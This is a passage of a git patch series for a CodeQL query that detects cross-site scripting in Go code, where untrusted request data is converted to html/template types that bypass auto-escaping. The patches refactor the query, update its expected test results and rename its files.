HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | models -| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | -| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -69,17 +57,4 @@ nodes | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | -| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | -| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | -| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths From cbdbb0310b91d885a9ebfd711679877b70013658 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 16:15:19 +0100 Subject: [PATCH 08/21] Tidy up test (remove duplicated `main`) --- .../HTMLTemplateEscapingPassthrough.expected | 108 +++++++++--------- .../HTMLTemplateEscapingPassthrough.go | 2 - 2 files changed, 54 insertions(+), 56 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 7da7560567fd..feb98b69d5e7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,60 +1,60 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | models | 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index 50e318d956ac..5ff36d0a8bc8 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) From b90aba291efd396c222b8d0b2496cfcdb51b876c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 16:30:16 +0100 Subject: [PATCH 09/21] Refactor class for unescaped types --- .../HTMLTemplateEscapingPassthrough.ql | 33 ++++++++++--------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a73ebe159bf..bfb9194ede72 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -14,11 +14,13 @@ import go /** - * A name of a type that will not be escaped when passed to - * a `html/template` template. + * A type that will not be escaped when passed to a `html/template` template. */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } } /** @@ -42,7 +44,7 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = TUnconverted() or - TConverted(PassthroughTypeName x) + TConverted(UnescapedType unescapedType) /** * Flow state for tracking whether a conversion to a passthrough type has occurred. @@ -50,14 +52,14 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } /** Gets a textual representation of this element. */ string toString() { this.isBeforeConversion() and result = "Unconverted" or - exists(PassthroughTypeName x | this.isAfterConversion(x) | - result = "Converted to template." + x + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() ) } } @@ -82,13 +84,13 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon predicate isAdditionalFlowStep( DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState ) { - exists(ConversionExpr conversion, PassthroughTypeName name | + exists(ConversionExpr conversion, UnescapedType unescapedType | // If not yet converted, look for a conversion to a passthrough type predState.isBeforeConversion() and - succState.isAfterConversion(name) and + succState.isAfterConversion(unescapedType) and succ.(DataFlow::TypeCastNode).getExpr() = conversion and pred.asExpr() = conversion.getOperand() and - conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) + conversion.getType().getUnderlyingType*() = unescapedType ) } } @@ -100,11 +102,10 @@ import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - templateExecCall.getState().isAfterConversion(targetTypeName) + templateExecCall.getState().isAfterConversion(unescapedType) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source" + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" From 7f007e10c4613eb9227c4842df6f3d8ef1040b3e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 16:30:36 +0100 Subject: [PATCH 10/21] Minor refactor - removed unused argument --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index bfb9194ede72..25fad3c374a9 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -26,8 +26,8 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | fn.hasQualifiedName("html/template", "Template", methodName) and call = fn.getACall() | @@ -69,7 +69,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink) } predicate isBarrier(DataFlow::Node node) { From 3cce4ba4370388ac30a73a0e7aa00282b0bef9f5 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 16:40:21 +0100 Subject: [PATCH 11/21] Improve QLDocs --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 25fad3c374a9..e8a4202a98f0 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -38,8 +38,8 @@ predicate isSinkToTemplateExec(DataFlow::Node sink) { } /** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. */ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = @@ -47,7 +47,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Flow state for tracking whether a conversion to an unescaped type has occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From cba0bec3c6f6cf8966c0fa07be7bb5c60c90f969 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Fri, 25 Apr 2025 09:56:28 +0100 Subject: [PATCH 12/21] Rename files --- ...lp => HtmlTemplateEscapingBypassXss.qhelp} | 4 +- ...gh.ql => HtmlTemplateEscapingBypassXss.ql} | 0 ...go => HtmlTemplateEscapingBypassXssBad.go} | 0 ...o => HtmlTemplateEscapingBypassXssGood.go} | 0 .../HTMLTemplateEscapingPassthrough.expected | 60 ------------------- .../HtmlTemplateEscapingBypassXss.expected | 60 +++++++++++++++++++ ...gh.go => HtmlTemplateEscapingBypassXss.go} | 0 ...ef => HtmlTemplateEscapingBypassXss.qlref} | 2 +- 8 files changed, 63 insertions(+), 63 deletions(-) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qhelp => HtmlTemplateEscapingBypassXss.qhelp} (88%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.ql => HtmlTemplateEscapingBypassXss.ql} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughBad.go => HtmlTemplateEscapingBypassXssBad.go} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughGood.go => HtmlTemplateEscapingBypassXssGood.go} (100%) delete mode 100644 go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected create mode 100644 go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.go => HtmlTemplateEscapingBypassXss.go} (100%) rename 